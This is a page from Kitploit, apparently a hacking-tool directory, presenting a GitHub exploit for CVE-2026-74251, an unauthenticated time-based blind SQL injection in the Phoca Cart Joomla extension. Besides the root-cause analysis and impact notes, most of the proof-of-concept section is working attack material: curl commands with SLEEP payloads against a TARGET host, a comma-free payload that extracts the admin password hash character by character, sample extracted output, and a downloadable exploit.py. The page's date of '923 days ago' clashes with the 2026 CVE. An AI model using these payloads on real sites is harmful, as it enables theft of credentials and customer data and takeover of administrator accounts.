Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-74251 — Unauthenticated SQL Injection via Attribute Filter in Phoca Cart - CVSS 9.3 | Kitploit
Tools/GitHubGitHub/toanln-cov/cve-2026-74251
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationWeb SecurityDatabase Security
GitHubtoanln-cov/cve-2026-74251

CVE-2026-74251

Unauthenticated SQL Injection via Attribute Filter in Phoca Cart - CVSS 9.3

View Repository
923 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Unauthenticated SQL Injection via Attribute Filter in Phoca Cart

Phoca Cart ≤ 6.1.6 — Unauthenticated Attacker Extracts Full Database via Time-Based Blind Injection

CVE CVSS v4.0 CWE-89 Affected Researcher


SUMMARY

The a[] (attribute) and s[] (specification) GET array parameters on Phoca Cart's public shop items page are concatenated raw into SQL WHERE clauses without parameterization or escaping. An unauthenticated attacker can inject arbitrary SQL through these parameters, enabling full database extraction via time-based blind techniques.

The vulnerability exists in getSqlPartsArray() inside admin/libraries/phocacart/search/search.php. The function calls explode(',', $v) before building the IN() list but never escapes the resulting values — so a comma-free payload passes through intact into the SQL query. Because getItemListQuery() is called twice per request (getTotal() + getItemList()), a SLEEP(N) payload causes a 2×N second observable delay, making timing detection highly reliable.


AFFECTED VERSIONS

COMPONENTVULNERABLETESTED ONFIXED
Phoca Cart (com_phocacart)5.0.0 – 6.1.6Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache)6.1.7

VULNERABILITY DETAILS

Type: SQL Injection — Time-Based Blind (CWE-89) Authentication required: None — publicly accessible endpoint File: admin/libraries/phocacart/search/search.php

Root Cause

The items model reads the a[] and s[] parameters directly from the HTTP request without sanitization:

SITE/MODELS/ITEMS.PHP — LINE 92–93

root@kitploit:~
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET

These values are forwarded to getSqlPartsArray(), which splits each value on commas and inserts the resulting fragments directly into the SQL IN() clause:

SEARCH.PHP — GETSQLPARTSARRAY() LINES 318–363 (VULNERABLE)

root@kitploit:~
foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma — but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method — $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method — $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter — same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}

The resulting SQL fragment is inserted into the main query:

root@kitploit:~
a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)

getActiveFilterValues() in filter.php applies filterValue($item, 'alphanumeric') to a[]/s[] values for the display layer. However, getSqlPartsArray() reads the same parameters fresh from $app->getInput()->get('a', '', 'array') with no sanitization applied, bypassing the display-layer protection entirely.


PROOF OF CONCEPT

No authentication required. The items view (/index.php?option=com_phocacart&view=items) is publicly accessible. No attributes or specifications need to be configured on the shop.

1. Baseline measurement — confirm normal response time

An unauthenticated user can access the shopping portal without any credentials.

Unauthenticated access to Phoca Cart shop portal showing items listing

Raw request captured in Burp Suite — baseline response time: 76ms.

Burp Suite baseline GET request to shop page with 76ms response time

2. Confirm SQL injection via time delay — attribute filter (a[])

A SLEEP(3) payload is injected via the a[color] parameter. Because getItemListQuery() is called twice per request, the expected delay is 2 × 3 = 6s. Observed: 7085ms — confirmed.

root@kitploit:~
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s — CONFIRMED

# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"

Burp Suite showing SQLi payload with 7085ms response time confirming double SLEEP(3)

3. Confirm with SLEEP(0) — fast response

Replacing SLEEP(3) with SLEEP(0) returns immediately (1064ms), confirming the delay is caused by the injected SLEEP and not network conditions.

Burp Suite showing SLEEP(0) payload returning fast 1064ms response

4. Character-by-character data extraction via timing oracle

Extract the admin bcrypt hash one byte at a time. Critical constraint: explode(',', $v) splits on commas before building SQL — payloads must use SUBSTRING(str FROM pos FOR len) (ANSI keyword syntax) to avoid comma truncation, and CASE WHEN ... THEN ... ELSE ... END instead of IF().

root@kitploit:~
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match

PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"

curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=$PAYLOAD" \
  "http://TARGET/index.php"

Lab verification — first 12 characters of admin bcrypt hash:

poscharASCIIresponsematch
1$36>6s✓
2250>6s✓
3y121>6s✓
4$36>6s✓
5149>6s✓
6048>6s✓
7$36>6s✓
8L76>6s✓
9N78>6s✓
10v118>6s✓
11t116>6s✓
.........>6s✓

Extracted prefix $2y$10$LNvt... — full 60-char bcrypt hash recoverable in ~240 requests.

5. Automated extraction — full admin hash dump via exploit script

The included exploit.py script automatically extracts the complete admin password hash without manual iteration, using the same time-based technique above.

root@kitploit:~
python exploit.py http://TARGET

Exploit script output showing full admin bcrypt hash extracted without authentication


IMPACT

  1. Full database read without authentication — Joomla user credentials (bcrypt hashes + emails), order records, payment metadata, customer PII, and API keys stored in the database are fully accessible to any unauthenticated attacker.
  2. Administrator account takeover — Extracting the admin password hash and cracking it offline gives full Joomla administrator access, enabling remote code execution via template or plugin upload.
  3. Zero prerequisites — affects every Phoca Cart installation — The vulnerable endpoint is the public shop listing page. No attributes or specifications need to be configured. Any site with com_phocacart installed and a public front-end is exploitable.
  4. Database write potential — If MariaDB PDO emulation enables stacked queries, the attacker can execute arbitrary INSERT / UPDATE / DELETE statements, including creating new administrator accounts or modifying order records.

REFERENCES

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74251
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74251
  • GitHub Advisory: https://github.com/advisories/GHSA-wgm5-xp28-5cmg
  • Vendor Repository: https://github.com/PhocaDesign/PhocaCart
Download Tool